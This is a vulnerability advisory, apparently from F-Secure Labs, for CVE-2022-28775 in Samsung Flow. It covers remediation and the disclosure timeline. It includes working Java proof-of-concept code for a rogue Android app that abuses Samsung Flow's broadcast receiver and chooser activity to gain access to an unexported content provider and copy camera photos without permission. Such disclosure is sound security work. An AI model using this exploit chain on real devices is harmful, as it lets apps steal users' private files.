Original post: https://labs.f-secure.com/advisories/samsung-flow-any-app-can-read-the-external-storage/

Product Samsung Flow prior to version 4.8.06.5
Severity Medium
CVE Reference CVE-2022-28775
Type Security Control Bypass

Description

F-Secure looked into exploiting the Samsung Galaxy S21 device for Austin Pwn2Own 2021. Samsung Flow, an application offered on the Galaxy Store, had an issue with how it handled broadcasted intents. A rogue application could use this issue to read contents on the device’s external storage without requiring the proper Android permissions.

The Exploit

As an example, the following exploit code will exfiltrate a picture taken by the device’s camera. This example requires two parts. First, the rogue application must contain an exported activity with the following Java code:

public class IntentProxyToContentProvider extends Activity {
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        Uri uri = Uri.parse(getIntent().getDataString());
        try {
            Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri));
            String yayuriyay = MediaStore.Images.Media.insertImage(getContentResolver(),
                bitmap,
                "yaytitleyay",
                "yaydescriptionyay");
            InputStream input = getContentResolver().openInputStream(Uri.parse(yayuriyay));
            File file = new File(getFilesDir(), "yayoutputyay.jpg");
            FileOutputStream output = new FileOutputStream(file);
            try{
                byte[] buf = new byte[1024];
                int len;
                while ((len = input.read(buf)) > 0) {
                    output.write(buf, 0, len);
                }
          } catch (Exception e) {
                e.printStackTrace();
          } finally {
                try {
                    if (input != null)
                    input.close();
                    if (output != null)
                    output.close();
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        } catch (FileNotFoundException e) {
           e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

Second, the rogue application must send the following Broadcast, replacing “" with the name of the picture found on the device, and "" with the package name of the rogue application:

Intent intent = new Intent();
intent.setComponent(new ComponentName("com.samsung.android.galaxycontinuity", "com.samsung.android.galaxycontinuity.manager.GlobalBroadcastReceiver"));
intent.setAction("com.samsung.android.galaxycontinuity.action.ACTION_FLOW_CONTENT_PENDING_INTENT"); 
Intent intent2 = new Intent();
intent2.setComponent(new ComponentName("<rogue application package>", " <rogue application package>.IntentProxyToContentProvider"));
intent2.setData(Uri.parse("content://com.samsung.android.galaxycontinuity.provider/external_files/DCIM/Camera/<target picture name>"));
intent2.setFlags(195);
Bundle bundle = new Bundle();
bundle.putParcelable("_data", intent2);
bundle.putString("ClassName", "com.samsung.android.galaxycontinuity.activities.ChooserDelegateActivity");
intent.putExtras(bundle); 
sendBroadcast(intent);

The above code will perform the following steps:

  • Send a Broadcast to the exported Broadcast Receiver com.samsung.android.galaxycontinuity.manager.GlobalBroadcastReceiver
  • The Broadcast Receiver opens the unexported Activity com.samsung.android.galaxycontinuity.activities.ChooserDelegateActivity
  • The Activity passes permissions to read the unexported Content File Provider com.samsung.android.galaxycontinuity.provider to the rogue application’s exported Activity mentioned earlier
  • After successful exploitation, the targeted picture will be saved to the rogue application’s “Files” private directory. Specifically, it will be saved to /data/data/<rogue application package>/Files/yayoutputyay.jpg.

Technical Details

The exported Broadcast Receiver com.samsung.android.galaxycontinuity.manager.GlobalBroadcastReceiver processes received broadcast intents by checking for:

  • The action value
  • The extra string value ClassName

If the action value matches com.samsung.android.galaxycontinuity.action.ACTION_FLOW_CONTENT_PENDING_INTENT and ClassName is not null, then a new intent is created and Samsung Flow will start the activity defined in ClassName. Any intent extras that is bundled with the broadcast intent is also bundled with the newly created intent:

public void onReceive(Context context, Intent intent) {
        Intent intent2;
        try {
            String action = intent.getAction();
            intent.setComponent(null);
            if (action.equals("REQUEST_LAUNCH_MY_FILES")) {
                FileUtil.openMyFiles(intent.getStringExtra("START_PATH"));
                return;
            }
            if (!"android.intent.action.BOOT_COMPLETED".equals(action)) {
                if (!ACTION_LAZY_BOOT_COMPLETE.equals(action)) {
                    if (Define.ACTION_FLOW_CONTENT_PENDING_INTENT.equals(action)) {
                        String stringExtra = intent.getStringExtra("ClassName");
                        if (stringExtra != null) {
                            if ((stringExtra.equals(NotificationDetailActivity.class.getName()) || stringExtra.equals(ChatActivity.class.getName())) && SettingsManager.getInstance().getNotificationOption()) {
                                Intent intent3 = new Intent(SamsungFlowApplication.get(), MirroringActivity.class);
                                intent3.setAction(Define.ACTION_SMARTVIEW_FROM_NOTIFICATION);
                                intent3.putExtra("FlowKey", intent.getStringExtra("FlowKey"));
                                intent3.setFlags(268435456);
                                SamsungFlowApplication.get().startActivity(intent3);
                                return;
                            }
                            Intent intent4 = new Intent(SamsungFlowApplication.get(), Class.forName(stringExtra));
                            intent4.replaceExtras(intent.getExtras());
                            intent4.setFlags(268435456);
                            SamsungFlowApplication.get().startActivity(intent4);
                            return;

By defining com.samsung.android.galaxycontinuity.activities.ChooserDelegateActivity" as the "ClassName, a Create Chooser Intent is created based on the data defined in the passed intent’s parcelable extra _data. The intent bundled in _data can contain standard intent objects, intent extras.

This new intent is started via startActivity:

public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        startChooser(getIntent());
        finish();
    }
private void startChooser(Intent intent) {
        if (intent != null && intent.getExtras().containsKey("_data")) {
            try {
                ArrayList<? extends Parcelable> arrayList = new ArrayList<>();
                arrayList.add(new ComponentName(SamsungFlowApplication.get().getPackageName(), ShareActivity.class.getName()));
                Intent createChooser = Intent.createChooser((Intent) intent.getParcelableExtra("_data"), ResourceUtil.getString(R.string.share));
                if (Build.VERSION.SDK_INT >= 24) {
                    createChooser.putExtra("android.intent.extra.EXCLUDE_COMPONENTS", (Parcelable[]) arrayList.toArray(new Parcelable[0]));
                } else {
                    createChooser.putParcelableArrayListExtra("extra_chooser_droplist", arrayList);
                }
                if (intent.getBooleanExtra(EXTRA_POP_OVER_SUPPORTED, false)) {
                    int intExtra = intent.getIntExtra(EXTRA_POP_OVER_POS, -1);
                    ActivityOptions makeBasic = ActivityOptions.makeBasic();
                    makeBasic.semSetChooserPopOverPosition(intExtra);
                    startActivity(createChooser, makeBasic.toBundle());
                    return;
                }
                startActivity(createChooser);
            } catch (Exception e) {
                FlowLog.e(e);
            }
        }
    }

If the Create Chooser Intent passed to startActivity contains the following flags, then the target started activity will be given access to Samsung Flow’s content providers, including unexported content providers:

  • Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
  • Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
  • Intent.FLAG_GRANT_READ_URI_PERMISSION
  • Intent.FLAG_GRANT_WRITE_URI_PERMISSION

As an example, an intent passed to startActivity could contain a data value of content://com.samsung.android.galaxycontinuity.provider/external_files/DCIM/Camera/<target picture>. Then the target activity will be given access to the content provider com.samsung.android.galaxycontinuity.provider and be able to download the file /external_files/DCIM/Camera/<target picture>. The following code within the target activity can be used to create a new file via the Android MediaStore content provider, and save the data that was obtained from content://com.samsung.android.galaxycontinuity.provider/external_files/DCIM/Camera/<target picture>:

Uri uri = Uri.parse(getIntent().getDataString());
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri));
String yayuriyay = MediaStore.Images.Media.insertImage(getContentResolver(), bitmap, "yaytitleyay", "yaydescriptionyay");
Lod.d("yaytagyay", "this content provider contains the saved media: " + yayuriyay);

Remedial Action

Samsung has released Samsung Flow version 4.8.06.5 which addresses this issue. Users should update their Samsung Flow application to the latest version available.

Credits

This issue was discovered by Ken Gannon.

Timeline

Date Summary
19/10/2021 Issue disclosed to Samsung Mobile Security
19/10/2021 Issue assigned to a Samsung Security Analyst
02/01/2022 Samsung confirms the vulnerability and rates it as a critical risk issue
04/03/2022 Patch released, Samsung initiates process for bug bounty reward
12/04/2022 CVE Assigned
04/05/2022 Advisory Published